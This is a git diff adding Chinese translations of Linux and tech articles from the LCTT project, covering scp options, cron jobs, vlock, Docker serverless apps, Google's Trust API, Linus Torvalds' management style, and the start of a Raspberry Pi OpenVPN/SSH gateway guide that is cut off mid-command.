+如果你想要关闭进度信息以及警告和诊断信息,你可以通过使用scp命令中的-q选项. + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-with-q.jpg) + +上一次我们仅仅使用 -r 参数,它显示了逐个文件的信息,但这一次当我们使用了 -q 参数,它就不显示进度信息。 + +利用 scp 的 -p 选项来保留目标文件的更新时间,访问时间和权限模式。 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-with-p.jpg) + +**通过 -P 选项来指定远程主机的连接端口** + +scp 使用 ssh 命令来在两个主机之间传输文件,因为 ssh 默认使用的是22端口号,所以 scp 也使用相同的22端口号。 + +如果我们希望改变这个端口号,我们可以使用 -P(大写的 P,因为小写的 p 用来保持文件的访问时间等)选项来指定所需的端口号。 + +举个例子,如果我们想要使用2222端口号,我们可以使用如下的命令 + +``` +[root@localhost ~]# scp -P 2222 abcd1 root@10.10.16.137:/root/ +``` + +**限制命令使用的带宽,指定的单位是 Kbit/s** + +如下所示,我们可以使用 -l 参数来指定 scp 命令所使用的带宽,在此我们将速度限制为512kbit/s。 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-with-l.jpg) + +**开启压缩** + +如下所示,我们可以通过开启 scp 命令的压缩模式来节省传输过程中的带宽和时间。 + +![](https://www.unixmen.com/wp-content/uploads/2016/05/scp-with-C.jpg) + +**选择加密数据的加密方式** + +scp 默认使用 AES-128 的加密方式,如果我们想要改变这个加密方式,可以通过 -c(小写的 c) 参数来指定其他的加密方式。 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/scp-with-cipher.jpg) + +现在你可以利用 scp(Secure copy)命令在你所属网络中的两个节点之间安全地拷贝文件了。 + +-------------------------------------------------------------------------------- + +via: https://www.unixmen.com/scp-command-linuxunix/ + +作者:[Naga Ramesh][a] +译者:[lujianbo](https://github.com/lujianbo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.unixmen.com/author/naga/ diff --git a/published/201606/20160605 How to Add Cron Jobs in Linux and Unix.md b/published/201606/20160605 How to Add Cron Jobs in Linux and Unix.md new file mode 100644 index 0000000000..139084225a --- /dev/null +++ b/published/201606/20160605 How to Add Cron Jobs in Linux and Unix.md @@ -0,0 +1,212 @@ +如何在 Linux 及 Unix 系统中添加定时任务 +====================================== + +![](https://www.unixmen.com/wp-content/uploads/2016/05/HOW-TO-ADD-CRON-JOBS-IN-LINUX-AND-UNIX-696x334.png) + +### 导言 + +![](http://www.unixmen.com/wp-content/uploads/2016/05/cronjob.gif) + +定时任务 (cron job) 被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间周期性地运行。`cron` 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 `/etc/crontab` 文件和 `/etc/cron.*/ `目录。它同样也会检查 `/var/spool/cron/` 目录。 + +### crontab 命令 + +`crontab` 是用来安装、卸载或者列出定时任务列表的命令。cron 配置文件则用于驱动 `Vixie Cron` 的 [cron(8)][1] 守护进程。每个用户都可以拥有自己的 crontab 文件,虽然这些文件都位于 `/var/spool/cron/crontabs` 目录中,但并不意味着你可以直接编辑它们。你需要通过 `crontab` 命令来编辑或者配置你自己的定时任务。 + +### 定时配置文件的类型 + +配置文件分为以下不同的类型: + +- **UNIX 或 Linux 系统的 crontab** : 此类型通常由那些需要 root 或类似权限的系统服务和重要任务使用。第六个字段(见下方的字段介绍)为用户名,用来指定此命令以哪个用户身份来执行。如此一来,系统的 `crontab` 就能够以任意用户的身份来执行操作。 + +- **用户的 crontab**: 用户可以使用 `crontab` 命令来安装属于他们自己的定时任务。 第六个字段为需要运行的命令, 所有的命令都会以创建该 crontab 任务的用户的身份运行。 + +**注意**: 这种问答形式的 `Cron` 实现由 Paul Vixie 所编写,并且被包含在许多 [Linux][2] 发行版本和类 Unix 系统(如广受欢迎的第四版 BSD)中。它的语法被各种 crond 的实现所[兼容][3]。 + +那么我该如何安装、创建或者编辑我自己的定时任务呢? + +要编辑你的 crontab 文件,需要在 Linux 或 Unix 的 shell 提示符后键入以下命令: + +``` +$ crontab -e +``` + +`crontab` 语法(字段介绍) + +语法为: + +``` +1 2 3 4 5 /path/to/command arg1 arg2 +``` + +或者 + +``` +1 2 3 4 5 /root/ntp_sync.sh +``` + +其中: + +- 第1个字段:分钟 (0-59) +- 第2个字段:小时 (0-23) +- 第3个字段:日期 (0-31) +- 第4个字段:月份 (0-12 [12 代表 December]) +- 第5个字段:一周当中的某天 (0-7 [7 或 0 代表星期天]) +- /path/to/command - 计划执行的脚本或命令的名称 + +便于记忆的格式: + +``` +* * * * * 要执行的命令 +---------------- +| | | | | +| | | | ---- 周当中的某天 (0 - 7) (周日为 0 或 7) +| | | ------ 月份 (1 - 12) +| | -------- 一月当中的某天 (1 - 31) +| ---------- 小时 (0 - 23) +------------ 分钟 (0 - 59) +``` + +简单的 `crontab` 示例: + +```` +## 每隔 5 分钟运行一次 backupscript 脚本 ## +*/5 * * * * /root/backupscript.sh + +## 每天的凌晨 1 点运行 backupscript 脚本 ## + +0 1 * * * /root/backupscript.sh + +## 每月的第一个凌晨 3:15 运行 backupscript 脚本 ## + +15 3 1 * * /root/backupscript.sh +``` + +### 如何使用操作符 + +操作符允许你为一个字段指定多个值,这里有三个操作符可供使用: + +- **星号 (*)** : 此操作符为字段指定所有可用的值。举个例子,在小时字段中,一个星号等同于每个小时;在月份字段中,一个星号则等同于每月。 + +- **逗号 (,)** : 这个操作符指定了一个包含多个值的列表,例如:`1,5,10,15,20,25`. + +- **横杠 (-)** : 此操作符指定了一个值的范围,例如:`5-15` ,等同于使用逗号操作符键入的 `5,6,7,8,9,...,13,14,15`。 + +- **分隔符 (/)** : 此操作符指定了一个步进值,例如: `0-23/` 可以用于小时字段来指定某个命令每小时被执行一次。步进值也可以跟在星号操作符后边,如果你希望命令行每 2 小时执行一次,则可以使用 `*/2`。 + +### 如何禁用邮件输出 + +默认情况下,某个命令或者脚本的输出内容(如果有的话)会发送到你的本地邮箱账户中。若想停止收到 `crontab` 发送的邮件,需要添加 `>/dev/null 2>&1` 这段内容到执行的命令的后面,例如: + +``` +0 3 * * * /root/backup.sh >/dev/null 2>&1 +``` + +如果想将输出内容发送到特定的邮件账户中,比如说 vivek@nixcraft.in 这个邮箱, 则你需要像下面这样定义一个 MAILTO 变量: + +``` +MAILTO="vivek@nixcraft.in" +0 3 * * * /root/backup.sh >/dev/null 2>&1 +``` + +访问 “[禁用 Crontab 命令的邮件提示](http://www.cyberciti.biz/faq/disable-the-mail-alert-by-crontab-command/)” 查看更多信息。 + + +### 任务:列出你所有的定时任务 + +键入以下命令: + +``` +# crontab -l +# crontab -u username -l +``` + +要删除所有的定时任务,可以使用如下命令: + +``` +# 删除当前定时任务 # +crontab -r +``` + +``` +## 删除某用户名下的定时任务,此命令需以 root 用户身份执行 ## +crontab -r -u username +``` + +### 使用特殊字符串来节省时间 + +你可以使用以下 8 个特殊字符串中的其中一个替代头五个字段,这样不但可以节省你的时间,还可以提高可读性。 + +特殊字符 |含义 +|:-- |:-- +@reboot | 在每次启动时运行一次 +@yearly | 每年运行一次,等同于 “0 0 1 1 *”. +@annually | (同 @yearly) +@monthly | 每月运行一次, 等同于 “0 0 1 * *”. +@weekly | 每周运行一次, 等同于 “0 0 * * 0”. +@daily | 每天运行一次, 等同于 “0 0 * * *”. +@midnight | (同 @daily) +@hourly | 每小时运行一次, 等同于 “0 * * * *”. + +示例: + +#### 每小时运行一次 ntpdate 命令 #### + +``` +@hourly /path/to/ntpdate +``` + +### 关于 `/etc/crontab` 文件和 `/etc/cron.d/*` 目录的更多内容 + +** /etc/crontab ** 是系统的 crontab 文件。通常只被 root 用户或守护进程用于配置系统级别的任务。每个独立的用户必须像上面介绍的那样使用 `crontab` 命令来安装和编辑自己的任务。`/var/spool/cron/` 或者 `/var/cron/tabs/` 目录存放了个人用户的 crontab 文件,它必定会备份在用户的家目录当中。 + +###理解默认的 `/etc/crontab` 文件 + +典型的 `/etc/crontab` 文件内容是这样的: + +``` +SHELL=/bin/bash +PATH=/sbin:/bin:/usr/sbin:/usr/bin +MAILTO=root +HOME=/ +# run-parts +01 * * * * root run-parts /etc/cron.hourly +02 4 * * * root run-parts /etc/cron.daily +22 4 * * 0 root run-parts /etc/cron.weekly +42 4 1 * * root run-parts /etc/cron.monthly +``` + +首先,环境变量必须被定义。如果 SHELL 行被忽略,cron 会使用默认的 sh shell。如果 PATH 变量被忽略,就没有默认的搜索路径,所有的文件都需要使用绝对路径来定位。如果 HOME 变量被忽略,cron 会使用调用者(用户)的家目录替代。 + +另外,cron 会读取 `/etc/cron.d/`目录中的文件。通常情况下,像 sa-update 或者 sysstat 这样的系统守护进程会将他们的定时任务存放在此处。作为 root 用户或者超级用户,你可以使用以下目录来配置你的定时任务。你可以直接将脚本放到这里。`run-parts`命令会通过 `/etc/crontab` 文件来运行位于某个目录中的脚本或者程序。 + +目录 |描述 +|:-- |:-- +/etc/cron.d/ | 将所有的脚本文件放在此处,并从 /etc/crontab 文件中调用它们。 +/etc/cron.daily/ | 运行需要 每天 运行一次的脚本 +/etc/cron.hourly/ | 运行需要 每小时 运行一次的脚本 +/etc/cron.monthly/ | 运行需要 每月 运行一次的脚本 +/etc/cron.weekly/ | 运行需要 每周 运行一次的脚本 + +### 备份定时任务 + +``` +# crontab -l > /path/to/file + +# crontab -u user -l > /path/to/file +``` + +-------------------------------------------------------------------------------- + +via: https://www.unixmen.com/add-cron-jobs-linux-unix/ + +作者:[Duy NguyenViet][a] +译者:[mr-ping](https://github.com/mr-ping) +校对:[FSSlc](https://github.com/FSSlc) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.unixmen.com/author/duynv/ +[1]: http://www.manpager.com/linux/man8/cron.8.html +[2]: http://www.linuxsecrets.com/ +[3]: http://www.linuxsecrets.com/linux-hardware/ \ No newline at end of file diff --git a/published/201606/20160605 Will Google Replace Passwords With A New Trust-Based Authentication Method.md b/published/201606/20160605 Will Google Replace Passwords With A New Trust-Based Authentication Method.md new file mode 100644 index 0000000000..ba14bf8742 --- /dev/null +++ b/published/201606/20160605 Will Google Replace Passwords With A New Trust-Based Authentication Method.md @@ -0,0 +1,39 @@ +谷歌会用基于信任的认证措施取代密码吗? +=========================================================================== + +![](http://www.iwillfolo.com/wordpress/wp-content/uploads/2016/05/Trust-API-Google-replaces-passwords.jpg) + +一个谷歌新开发的认证措施会评估你的登录有多可靠,并且基于一个“信任分(Trust Score)”认证你的登录。 + +这个谷歌项目的名字是 Abacus,它的目标是让你摆脱讨厌的密码记忆和输入。 + +在最近的 Google I/O 开发者大会上,谷歌引入了自这个雄心勃勃的项目而来的新特性,称作“**Trust API**”。 + +“如果一切进展顺利”,这个 API(Application Programming Interface,应用程序编程接口)会在年底前供安卓开发者使用。API 会利用安卓设备上不同的传感器来识别用户,并创建一个他们称之为“信任分(Trust Score)”的结果。 + +基于这个信任分,一个需要登录认证的应用可以验证你确实可以授权登录,从而不会提示需要密码。 + +![](http://www.iwillfolo.com/wordpress/wp-content/uploads/2016/05/Abacus-to-Trust-API.jpg) + +*Abacus 到 Trust API* + +### 需要思考的地方 + +尽管这个想法,明智的功能,听起来很棒——减轻了密码认证的负担。 + +但从另一面来说,这是不是谷歌又一次逼迫我们(有意或无意)为了方便使用而放弃我们的隐私? + +是否值得?这取决于你的决定... + + +-------------------------------------------------------------------------------- + +via: http://www.iwillfolo.com/will-google-replace-passwords-with-a-new-trust-based-authentication-method/ + +作者:[iWillFolo][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.iwillfolo.com/ diff --git "a/published/201606/20160611 vlock \342\200\223 A Smart Way to Lock User Virtual Console or Terminal in Linux.md" "b/published/201606/20160611 vlock \342\200\223 A Smart Way to Lock User Virtual Console or Terminal in Linux.md" new file mode 100644 index 0000000000..99c1da66ab --- /dev/null +++ "b/published/201606/20160611 vlock \342\200\223 A Smart Way to Lock User Virtual Console or Terminal in Linux.md" @@ -0,0 +1,102 @@ +vlock – 一个锁定 Linux 用户虚拟控制台或终端的好方法 +======================================================================= + +虚拟控制台是 Linux 上非常重要的功能,它们给系统用户提供了 shell 提示符,以保证用户在登录和远程登录一个未安装图形界面的系统时仍能使用。 + +一个用户可以同时操作多个虚拟控制台会话,只需在虚拟控制台间来回切换即可。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/vlock-Lock-User-Terminal-in-Linux.png) + +*用 vlock 锁定 Linux 用户控制台或终端* + +这篇使用指导旨在教会大家如何使用 vlock 来锁定用户虚拟控制台和终端。 + +### vlock 是什么? + +vlock 是一个用于锁定一个或多个用户虚拟控制台用户会话的工具。在多用户系统中 vlock 扮演着重要的角色,它让用户可以在锁住自己会话的同时不影响其他用户通过其他虚拟控制台操作同一个系统。必要时,还可以锁定所有的控制台,同时禁止在虚拟控制台间切换。 + +vlock 的主要功能面向控制台会话方面,同时也支持非控制台会话的锁定,但该功能的测试还不完全。 + +### 在 Linux 上安装 vlock + +根据你的 Linux 系统选择 vlock 安装指令: + +``` +# yum install vlock [On RHEL / CentOS / Fedora] +$ sudo apt-get install vlock [On Ubuntu / Debian / Mint] +``` + +### 在 Linux 上使用 vlock + +vlock 操作选项的常规语法: + +``` +# vlock option +# vlock option plugin +# vlock option -t plugin +``` + +#### vlock 常用选项及用法: + +1、 锁定用户的当前虚拟控制台或终端会话,如下: + +``` +# vlock --current +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Lock-User-Terminal-Session-in-Linux.png) + +*锁定 Linux 用户终端会话* + +选项 -c 或 --current,用于锁定当前的会话,该参数为运行 vlock 时的默认行为。 + +2、 锁定所有你的虚拟控制台会话,并禁用虚拟控制台间切换,命令如下: + +``` +# vlock --all +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Lock-All-Linux-Terminal-Sessions.png) + +*锁定所有 Linux 终端会话* + +选项 -a 或 --all,用于锁定所有用户的控制台会话,并禁用虚拟控制台间切换。 + +其他的选项只有在编译 vlock 时编入了相关插件支持和引用后,才能发挥作用: + +3、 选项 -n 或 --new,调用时后,会在锁定用户的控制台会话前切换到一个新的虚拟控制台。 + +``` +# vlock --new +``` + +4、 选项 -s 或 --disable-sysrq,在禁用虚拟控制台的同时禁用 SysRq 功能,只有在与 -a 或 --all 同时使用时才起作用。 + +``` +# vlock -sa +``` + +5、 选项 -t 或 --timeout ,用以设定屏幕保护插件的 timeout 值。 + +``` +# vlock --timeout 5 +``` + +你可以使用 `-h` 或 `--help` 和 `-v` 或 `--version` 分别查看帮助消息和版本信息。 + +我们的介绍就到这了,提示一点,你可以将 vlock 的 `~/.vlockrc` 文件包含到系统启动中,并参考入门手册[添加环境变量][1],特别是 Debian 系的用户。 + +想要找到更多或是补充一些这里没有提及的信息,可以直接在写在下方评论区。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/vlock-lock-user-virtual-console-terminal-linux/ + +作者:[Aaron Kili][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/set-path-variable-linux-permanently/ diff --git a/published/201606/20160621 Building Serverless App with Docker.md b/published/201606/20160621 Building Serverless App with Docker.md new file mode 100644 index 0000000000..0b5409fc89 --- /dev/null +++ b/published/201606/20160621 Building Serverless App with Docker.md @@ -0,0 +1,98 @@ +用 Docker 创建 serverless 应用 +====================================== + +当今世界会时不时地出现一波波科技浪潮,将以前的技术拍死在海滩上。针对 serverless 应用的概念我们已经谈了很多,它是指将你的应用程序按功能来部署,这些功能在被用到时才会启动。你不用费心去管理服务器和程序规模,因为它们会在需要的时候在一个集群中启动并运行。 + +但是 serverless 并不意味着没有 Docker 什么事儿,事实上 Docker 就是 serverless 的。你可以使用 Docker 来容器化这些功能,然后在 Swarm 中按需求来运行它们。serverless 是一项构建分布式应用的技术,而 Docker 是它们完美的构建平台。 + +### 从 servers 到 serverless + +那如何才能写一个 serverless 应用呢?来看一下我们的例子,[5个服务组成的投票系统][1]: + +![](https://blog.docker.com/wp-content/uploads/Picture1.png) + +投票系统由下面5个服务组成: + +- 两个 web 前端 +- 一个后台处理投票的进程 +- 一个计票的消息队列 +- 一个数据库 + +后台处理投票的进程很容易转换成 serverless 构架,我们可以使用以下代码来实现: + +``` +import dockerrun +client = dockerrun.from_env() +client.run("bfirsh/serverless-record-vote-task", [voter_id, vote], detach=True) +``` + +这个投票处理进程和消息队列可以用运行在 Swarm 上的 Docker 容器来代替,并实现按需自动部署。 + +我们也可以用容器替换 web 前端,使用一个轻量级 HTTP 服务器来触发容器响应一个 HTTP 请求。Docker 容器代替长期运行的 HTTP 服务器来挑起响应请求的重担,这些容器可以自动扩容来支撑更大访问量。 + +新的架构就像这样: + +![](https://blog.docker.com/wp-content/uploads/Picture2.png) + +红色框内是持续运行的服务,绿色框内是按需启动的容器。这个架构里需要你来管理的长期运行服务更少,并且可以自动扩容(最大容量由你的 Swarm 决定)。 + +### 我们可以做点什么? + +你可以在你的应用中使用3种技术: + +1. 在 Docker 容器中按需运行代码。 +2. 使用 Swarm 来部署集群。 +3. 通过使用 Docker API 套接字在容器中运行容器。 + +结合这3种技术,你可以有很多方法搭建你的应用架构。用这种方法来部署后台环境真是非常有效,而在另一些场景,也可以这么玩,比如说: + +- 由于存在延时,使用容器实现面向用户的 HTTP 请求可能不是很合适,但你可以写一个负载均衡器,使用 Swarm 来对自己的 web 前端进行自动扩容。 +- 实现一个 MongoDB 容器,可以自检 Swarm 并且启动正确的分片和副本(LCTT 译注:分片技术为大规模并行检索提供支持,副本技术则是为数据提供冗余)。 + +### 下一步怎么做 + +我们提供了这些前卫的工具和概念来构建应用,并没有深入发掘它们的功能。我们的架构里还是存在长期运行的服务,将来我们需要使用 Swarm 来把所有服务都用按需扩容的方式实现。 + +希望本文能在你搭建架构时给你一些启发,但我们还是需要你的帮助。我们提供了所有的基本工具,但它们还不是很完善,我们需要更多更好的工具、库、应用案例、文档以及其他资料。 + +[我们在这里发布了工具、库和文档][3]。如果想了解更多,请贡献给我们一些你知道的资源,以便我们能够完善这篇文章。 + +玩得愉快。 + +### 更多关于 Docker 的资料 + +- New to Docker? Try our 10 min [online tutorial][4] +- Share images, automate builds, and more with [a free Docker Hub account][5] +- Read the Docker [1.12 Release Notes][6] +- Subscribe to [Docker Weekly][7] +- Sign up for upcoming [Docker Online Meetups][8] +- Attend upcoming [Docker Meetups][9] +- Watch [DockerCon EU 2015 videos][10] +- Start [contributing to Docker][11] + + +-------------------------------------------------------------------------------- + +via: https://blog.docker.com/2016/06/building-serverless-apps-with-docker/ + +作者:[Ben Firshman][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://blog.docker.com/author/bfirshman/ + +[1]: https://github.com/docker/example-voting-app +[3]: https://github.com/bfirsh/serverless-docker +[4]: https://docs.docker.com/engine/understanding-docker/ +[5]: https://hub.docker.com/ +[6]: https://docs.docker.com/release-notes/ +[7]: https://www.docker.com/subscribe_newsletter/ +[8]: http://www.meetup.com/Docker-Online-Meetup/ +[9]: https://www.docker.com/community/meetup-groups +[10]: https://www.youtube.com/playlist?list=PLkA60AVN3hh87OoVra6MHf2L4UR9xwJkv +[11]: https://docs.docker.com/contributing/contributing/ + + + diff --git a/published/201607/20151117 How bad a boss is Linus Torvalds.md b/published/201607/20151117 How bad a boss is Linus Torvalds.md new file mode 100644 index 0000000000..b35ba67827 --- /dev/null +++ b/published/201607/20151117 How bad a boss is Linus Torvalds.md @@ -0,0 +1,80 @@ +Linus Torvalds 是一个糟糕的老板吗? +================================================================================ + +![linus torvalds](http://images.techhive.com/images/article/2015/08/linus_torvalds-100600260-primary.idge.jpg) + +*1999 年 8 月 10 日,加利福尼亚州圣何塞市,在 LinuxWorld Show 上 Linus Torvalds 在一个坐满 Linux 爱好者的礼堂中发表了一篇演讲。图片来自:James Niccolai* + +**这取决于所处的领域。在软件开发的世界中,他也是个普通人。问题是,这种情况是否应该继续下去?** + +Linus Torvalds 是 Linux 的发明者,我认识他超过 20 年了。我们不是密友,但是我们欣赏彼此。 + +最近,因为 Linus Torvalds 的管理风格,他正遭到严厉的炮轰。Linus 无法忍受胡来的人。“代码的质量有多好?”是他在 Linux 内核的开发过程中评判人的一种方式。 + +没有什么比这个更重要了。正如 Linus 今年(2015年)早些时候在 Linux.conf.au 会议上说的那样,“我不是一个友好的人,我也不在意你。对我重要的是『[我所关心的技术和内核][1]』。” + +现在我也可以和这种只关心技术的人打交道了。如果你不能,你应当避免参加 Linux 内核会议,因为在那里你会遇到许多有这种精英思想的人。这不代表我认为在 Linux 领域所有东西都是极好的,并且不应该受到其他影响而带来改变。我能够和一个精英待在一起;而在一个男性做主导的大城堡中遇到的问题是,女性经常受到蔑视和无礼的对待。 + +这就是我看到的最近关于 Linus 管理风格所引发争论的原因 -- 或者更准确的说,他对于个人管理方面是完全冷漠的 -- 就像是在软件开发世界的标准操作流程一样。与此同时,我看到了揭示了这个事情需要改变的另外一个证据。 + +第一次是在 [Linux 4.3 发布][2]的时候出现的这个情况,Linus 使用 Linux 内核邮件列表来狠狠的数落了一个插入了一些网络方面的代码的开发者——这些代码很“烂”,“[生成了如此烂的代码][3]。这看起来太糟糕了,并且完全没有理由这样做。”他继续咆哮了半天。这里使用“烂”这个词,相对他早期使用的“愚蠢的”这个同义词来说还算好的。 + +但是,事情就是这样。Linus 是对的。我读了代码后,发现代码确实很烂,并且开发者只是为了用新的“overflow_usub()” 函数而用的。 + +现在,一些人把 Linus 的这种谩骂的行为看作他脾气不好而且恃强凌弱的证据。我见过一个完美主义者,在他的领域中,他无法忍受这种糟糕。 + +许多人告诉我,这不是一个专业的程序员应当有的行为。群众们,你曾经和最优秀的开发者一起工作过吗?据我所知道的,在 Apple,Microsoft,Oracle 这就是他们的行为。 + +我曾经听过 Steve Jobs 攻击一个开发者,就像要把他撕成碎片那样。我也被一个 Oracle 的高级开发者攻击一屋子的新开发者吓到过,就像食人鱼穿过一群金鱼那样。 + +在 Robert X. Cringely 关于 PC 崛起的经典书籍《[意外帝国(Accidental Empires)][5]》,中,他这样描述了微软的软件管理风格,比尔·盖茨像计算机系统一样管理他们,“比尔·盖茨的是最高等级,从他开始每一个等级依次递减,上级会向下级叫嚷,刺激他们,甚至羞辱他们。” + +Linus 和所有大型的商业软件公司的领导人不同的是,Linus 说在这里所有的东西是向全世界公开的。而其他人是在自己的会议室中做东西的。我听有人说 Linus 在那种公司中可能会被开除。这是不可能的。他会处于他现在所处的地位,他在编程世界的最顶端。 + +但是,这里有另外一个不同。如果 Larry Ellison (Oracle 的首席执行官)向你发火,你就别想在这里干了。如果 Linus 向你发火,你会在邮件中收到他的责骂。这就是差别。 + +你知道的,Linus 不是任何人的老板。他完全没有雇佣和解聘的权利,他只是负责着有 10000 个贡献者的一个项目而已。他仅仅能做的就是从心理上伤害你。 + +这说明,在开源软件开发圈和商业软件开发圈中同时存在一个非常严重的问题。不管你是一个多么好的编程者,如果你是一个女性,你的这个身份就是对你不利的。 + +这种情况并没有在 Sarah Sharp 的身上有任何好转,她现在是一个 Intel 的开发者,以前是一个顶尖的 Linux 程序员。[在她博客上10月份的一个帖子中][4],她解释道:“我最终发现,我不能够再为 Linux 社区做出贡献了。因为在那里,我虽然能够得到技术上的尊重,却得不到个人的尊重……我不想专职于同那些有着轻微的性别歧视或开同性恋玩笑的人一起工作。” + +谁会责怪她呢?我不会。很抱歉,我必须说,Linus 就像所有我见过的软件经理一样,是他造成了这种不利的工作环境。 + +他可能会说,确保 Linux 的贡献者都表现出专业精神和相互尊重不应该是他的工作。除了代码以外,他不关心任何其他事情。 + +就像 Sarah Sharp 写的那样: + + +> 我对于 Linux 内核社区做出的技术努力表示最大尊重。他们在那维护一些最高标准的代码,以此来平衡并且发展一个项目。他们专注于优秀的技术,以及超过负荷的维护人员,他们有不同的文化背景和社会规范,这些意味着这些 Linux 内核维护者说话非常直率、粗鲁,或者为了完成他们的任务而不讲道理。顶尖的 Linux 内核开发者经常为了使别人改正行为而向他们大喊大叫。 +> +> 这种事情发生在我身上,但它不是一种有效的沟通方式。 +> +> 许多高级的 Linux 内核开发者支持那些技术上和人性上不讲道理的维护者的权利。即使他们自己是非常友好的人,他们不想看到 Linux 内核交流方式改变。 + +她是对的。 + +我和其他观察者不同的是,我不认为这个问题对于 Linux 或开源社区在任何方面有特殊之处。作为一个从事技术商业工作超过五年和有着 25 年技术工作经历的记者,我见多了这种不成熟的小孩子行为。 + +这不是 Linus 的错误。他不是一个经理,他是一个有想象力的技术领导者。看起来真正的问题是,在软件开发领域没有人能够用一种支持的语气来对待团队和社区。 + +展望未来,我希望像 Linux 基金会这样的公司和组织,能够找到一种方式去授权社区经理或其他经理来鼓励并且强制实施民主的行为。 + +非常遗憾的是,我们不能够在我们这种纯技术或纯商业的领导人中找到这种管理策略。它不存在于这些人的基因中。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/article/3004387/it-management/how-bad-a-boss-is-linus-torvalds.html + +作者:[Steven J. Vaughan-Nichols][a] +译者:[FrankXinqi](https://github.com/FrankXinqi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.computerworld.com/author/Steven-J.-Vaughan_Nichols/ +[1]:http://www.computerworld.com/article/2874475/linus-torvalds-diversity-gaffe-brings-out-the-best-and-worst-of-the-open-source-world.html +[2]:http://www.zdnet.com/article/linux-4-3-released-after-linus-torvalds-scraps-brain-damage-code/ +[3]:http://lkml.iu.edu/hypermail/linux/kernel/1510.3/02866.html +[4]:http://sarah.thesharps.us/2015/10/05/closing-a-door/ +[5]:https://www.amazon.cn/Accidental-Empires-Cringely-Robert-X/dp/0887308554/479-5308016-9671450?ie=UTF8&qid=1447101469&ref_=sr_1_1&tag=geo-23 \ No newline at end of file diff --git a/published/201607/20151215 Securi-Pi--Using the Raspberry Pi as a Secure Landing Point.md b/published/201607/20151215 Securi-Pi--Using the Raspberry Pi as a Secure Landing Point.md new file mode 100644 index 0000000000..7038dfd87a --- /dev/null +++ b/published/201607/20151215 Securi-Pi--Using the Raspberry Pi as a Secure Landing Point.md @@ -0,0 +1,462 @@ +Securi-Pi:使用树莓派作为安全跳板 +================================================================================ + +像很多 LinuxJournal 的读者一样,我也过上了当今非常普遍的“科技游牧”生活,在网络之间,从一个接入点到另一个接入点,我们身处现实世界的不同地方却始终保持连接到互联网和日常使用的其它网络上。近来我发现越来越多的网络环境开始屏蔽对外的常用端口比如 SMTP(端口25),SSH(端口22)之类的。当你走进一家咖啡馆然后想 SSH 到你的一台服务器上做点事情的时候发现端口 22 被屏蔽了是一件很烦的事情。 + +不过,我到目前为止还没发现有什么网络环境会把 HTTPS 给墙了(端口443)。在稍微配置了一下家中的树莓派 2 之后,我成功地让自己通过接入树莓派的 443 端口充当跳板,从而让我在各种网络环境下都能连上想要的目标端口。简而言之,我把家中的树莓派设置成了一个 OpenVPN 的端点和 SSH 端点,同时也是一个 Apache 服务器,所有这些服务都监听在 443 端口上,以便可以限制我不想暴露的网络服务。 + + +### 备注 + +此解决方案能搞定大多数有限制的网络环境,但有些防火墙会对外部流量调用深度包检查(Deep packet inspection),它们时常能屏蔽掉用本篇文章里的方式传输的信息。不过我到目前为止还没在这样的防火墙后测试过。同时,尽管我使用了很多基于密码学的工具(OpenVPN,HTTPS,SSH),我并没有非常严格地审计过这套配置方案(LCTT 译注:作者的意思是指这套方案能帮你绕过端口限制,但不代表你的活动就是完全安全的)。有时候甚至 DNS 服务都会泄露你的信息,很可能在我没有考虑周到的角落里会有遗漏。我强烈不推荐把此跳板配置方案当作是万无一失的隐藏网络流量的办法,此配置只是希望能绕过一些端口限制连上网络,而不是做一些危险的事情。 + +### 起步 + +让我们先从你需要什么说起,我用的是树莓派 2,装载了最新版本的 Raspbian,不过这个配置也应该能在树莓派 Model B 上运行;512MB 的内存对我们来说绰绰有余了,虽然性能可能没有树莓派 2这么好,毕竟相比于四核心的树莓派 2, Model B 只有一颗单核心 CPU。我的树莓派放置在家里的防火墙和路由器的后面,所以我还能用这个树莓派作为跳板访问家里的其他电子设备。同时这也意味着我的流量在互联网上看起来仿佛来自我家的 ip 地址,所以这也算某种意义上保护了我的匿名性。如果你没有树莓派,或者不想从家里运行这个服务,那你完全可以把这个配置放在一台小型云服务器上(LCTT 译注:比如 IPS )。你只要确保服务器运行着基于 Debian 的 Linux 发行版即可,这份指南依然可用。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1002061/11913f1.jpg) + +*图 1 树莓派,即将成为我们的加密网络端点* + + +### 安装并配置 BIND + +无论你是用树莓派还是一台服务器,当你成功启动之后你就可以安装 BIND 了,这是一个驱动了互联网相当一部分的域名服务软件。你将会把 BIND 仅仅作为缓存域名服务使用,而不用把它配置为用来处理来自互联网的域名请求。安装 BIND 会让你拥有一个可以被 OpenVPN 使用的 DNS 服务器。安装 BIND 十分简单,`apt-get` 就可以直接搞定: + +``` +root@test:~# 